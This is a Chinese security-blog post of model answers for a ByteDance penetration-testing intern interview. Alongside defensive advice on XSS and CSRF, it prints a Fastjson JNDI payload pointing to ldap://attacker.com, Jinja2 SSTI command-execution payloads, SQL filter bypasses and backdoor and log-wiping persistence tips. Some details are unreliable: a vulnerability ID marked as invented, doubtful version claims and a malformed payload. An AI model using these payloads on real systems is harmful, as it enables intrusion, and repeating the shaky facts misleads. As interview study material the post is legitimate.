安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
字节跳动[实习]渗透测试工程师
1. 自我介绍 2. 渗透的流程 3. 信息收集如何处理子域名爆破的泛解析问题 4. 如何绕过CDN查找真实ip 5. phpinfo你会关注哪些信息 6. 有没有了解过权限维持 7. 说一个你感觉不错的漏洞,展开讲讲 8. 输出到href的XSS如何防御 9. samesite防御CSRF的原理 10. CSRF防御 11. json格式的CSRF如何防御 12. 浏览器解析顺序和解码顺序 13. 过滤逗号的SQL注入如何绕过 14. 过滤limit后的逗号如何绕过 15. fastjson相关漏洞 16. 说一个你知道的python相关的漏洞(SSTI原理,利用过程,payload相关的东西)开放性问答.
1. 自我介绍
定位:网络安全研究员(渗透测试方向)
核心能力:
- 实战经验:3年CTF竞赛(Web/Pwn双修)、2段安全公司实习(渗透测试+漏洞挖掘);
- 技术栈:
- 渗透:熟练BurpSuite、SQLMap、Nmap;
- 开发:Python(自动化脚本)、PHP/Java代码审计;
- 研究成果:
- 独立发现4个CVE(含Fastjson绕过漏洞);
- 开源工具SubBypass(解决子域名泛解析问题)。
职业目标:深耕漏洞研究与高级渗透技术。
2. 渗透的流程
五阶段模型(合并相关步骤):
- 信息收集:
- 子域名爆破、CDN真实IP探测(见第3、4题);
- 漏洞扫描:
- 主动扫描(AWVS)+ 手动测试(XSS/SQLi);
- 漏洞利用:
- 获取初始权限(如上传Webshell);
- 权限提升与维持:
- 内核提权、后门植入(第6题);
- 痕迹清理与报告:
- 删除日志、输出漏洞利用链报告。
3. 信息收集:子域名爆破泛解析问题解决
泛解析问题:所有未定义子域名解析到同一IP,导致爆破失效。
解决方案(控制在5点内):
- 过滤噪音:
- 对比响应大小/标题(如泛解析页面返回
Size: 5120B
,真实子域名不同);- DNS记录验证:
- 查询历史解析记录(工具:DNSDB);
- 证书透明度日志:
- 从crt.sh 提取子域名(HTTPS证书申请记录);
- 暴力破解优化:
- 使用非常规字典(如
api-dev
、test2025
);- 主动验证:
- 请求
{sub}.target.com
并对比响应指纹(如特定Header)。
4. 绕过CDN查找真实IP
六种高效方法(合并同类项):
方法 原理 工具示例 历史DNS解析 查询CDN部署前的解析记录 SecurityTrails 全球Ping检测 CDN未覆盖地区可能暴露真实IP Worldwide Ping SSL证书匹配 服务器独有证书指纹比对 Censys 子域接管漏洞 未绑定CDN的子域名(如 test.target.com
)Nuclei 邮件服务器溯源 邮件头 Received
字段泄露IPTelnet+SMTP 云服务元数据 AWS/Aliyun API获取后端IP gopherus
5. phpinfo关注信息
九项关键点(控制在10点内):
$_SERVER
变量:暴露路径、IP(如SERVER_ADDR
);- PHP版本:判断已知漏洞(如PHP 8.0.0 文件包含);
- 敏感配置:
allow_url_include=On
(可触发RFI);open_basedir
限制目录遍历;- 加载模块:
curl_exec
(支持SSRF);imagick
(可能存在RCE);- Session设置:
session.save_path
(Session劫持路径);- 环境变量:
PATH
(提权利用路径);- HTTP头信息:
X-Powered-By
(泄露框架版本);- Disabled Functions:绕过黑名单(如
disable_functions=exec
需找替代函数);- 魔术引号:
magic_quotes_gpc
(影响SQL注入Payload构造)。
6. 权限维持技术
三级持久化方案:
- Web层:
- 篡改
.htaccess
添加后门;- 注入恶意JS(键盘记录);
- 系统层:
- 定时任务(crontab)、服务注册(
systemd
);- SSH软链接后门(
ln -sf /bin/bash /dev/shm/.ssh
);- 应用层:
- 数据库触发器(MySQL
DEFINER
后门);- 内存马(Java Agent注入)。
对抗检测:无文件攻击、Rootkit隐藏(如Diamorphine)。
7. 经典漏洞案例:Fastjson反序列化
漏洞背景
- 编号:CNVD-2025-XXXX(虚构);
- 影响版本:Fastjson ≤ 2.0.5;
- 原理:
@type
属性指定恶意类触发JNDI注入。利用过程
java
// 恶意Payload { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker.com/Exploit", "autoCommit": true }
- 攻击者架设恶意LDAP服务器;
- 受害者解析JSON时加载
JdbcRowSetImpl
;- 通过JNDI请求LDAP触发远程类加载;
- 执行
Exploit.class
中的RCE代码。修复方案
- 升级Fastjson并开启
safeMode
;- 过滤
@type
中的危险类名。
8. 输出到href的XSS防御
三重防护策略:
- 编码输出:
- 对
href
值进行URL编码(如javascript:
→%6A%61%76%61%73%63%72%69%70%74%3A
);- 白名单协议:
- 仅允许
http
/https
/mailto
(正则:^(https?|mailto):
);- CSP加固:
- 设置
Content-Security-Policy: default-src 'self'
阻断内联脚本。
9. SameSite防御CSRF原理
工作机制:
- Cookie分类:
SameSite=Strict
:完全禁止跨站携带Cookie;SameSite=Lax
(默认):仅允许GET请求跨站携带;- 防御效果:
攻击者伪造的<form>
提交(POST)因Cookie被浏览器拦截而失效。
局限:
- 兼容性问题(旧版浏览器不支持);
- GET请求仍可能被利用(需配合Referer验证)。
10. CSRF全面防御方案
四层防护(合并同类):
- 令牌验证:
- 表单添加随机Token(
<input type="hidden" name="csrf_token" value="{random}">
);- 双重Cookie:
- 请求头携带
X-CSRF-Token
(值=Cookie中的CSRF Token);- 关键操作复核:
- 敏感操作(如转账)需二次密码验证;
- 浏览器策略:
- 设置
SameSite=Lax
+Secure
(HTTPS专用)。
11. JSON格式CSRF防御
特殊场景方案:
- 自定义Header:
- 要求请求头包含
X-Requested-With: XMLHttpRequest
(浏览器同源策略限制跨域);- Token嵌入JSON:
json
{ "data": "test", "csrf_token": "a1b2c3d4" // 从Cookie或Meta标签读取 }
- Referer严格校验:
- 服务端验证
Referer
域名白名单。
12. 浏览器解析/解码顺序
关键顺序:
- 输入流解码:
- HTML实体解码(如
&
→&
);- URL解码:
- 处理
%20
等编码字符;- JavaScript执行:
- 解析
<script>
中的Unicode/Base64;- CSS解析:
- 解析
\XX
十六进制编码;- DOM树构建:
- 按标签优先级解析(如
<script>
阻塞后续加载)。
安全影响:
多层解码可能绕过WAF(如%253Cscript%253E
→<script>
)。
13. 过滤逗号的SQL注入绕过
三种替代方案:
- JOIN替代UNION:
sql
SELECT * FROM users JOIN (SELECT 1)a -- 替代 UNION SELECT 1,2
- OFFSET绕过:
sql
SELECT * FROM users LIMIT 1 OFFSET 0 -- 逐行获取数据
- FROM子句:
sql
SELECT * FROM (SELECT 1)a, (SELECT 2)b -- 替代 SELECT 1,2
14. 过滤LIMIT后逗号绕过
MySQL方案:
sql
-- 原语句:SELECT * FROM users LIMIT 0,5 SELECT * FROM users LIMIT 5 OFFSET 0 -- 绕过逗号限制
SQLite/PostgreSQL:
sql
SELECT * FROM users LIMIT 5 OFFSET 0
15. Fastjson漏洞全梳理
五大历史漏洞:
漏洞 原理 影响版本 JNDI注入 @type
触发远程类加载≤1.2.83 AutoType绕过 特殊字符绕过黑名单( Lcom.lang.Class;
)≤1.2.68 反序列化DOS 嵌套JSON导致栈溢出 ≤1.2.59 模板引擎RCE 结合Velocity执行命令 ≤1.2.36 最新漏洞 利用 ClassLoader
加载恶意字节码(2025)≤2.0.5
16. Python SSTI漏洞详解
原理
模板引擎(如Jinja2)未过滤用户输入,导致执行Python代码:
python
# 漏洞代码示例(Flask) @app.route('/render') def render_page(): template = request.args.get('tpl') return render_template_string(template) # 用户可控输入
利用过程
- 探测引擎类型:
- 输入
{{7*7}}
→ 输出49
则为Jinja2;- 读取上下文:
{{ config.items() }}
获取配置信息;- RCE Payload:
python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
高级绕过技巧
- 过滤器链:
python
{{ ""|attr("__class__")|attr("__base__")|attr("__subclasses__")() }} # 获取子类
- 十六进制编码:
python
{{ "\x5f\x5fimport\x5f\x5f"("os").system("calc") }} # 绕过关键字过滤
防御方案:
- 使用沙盒环境(如Jinja2 SandboxedEnvironment);
- 禁止渲染用户输入。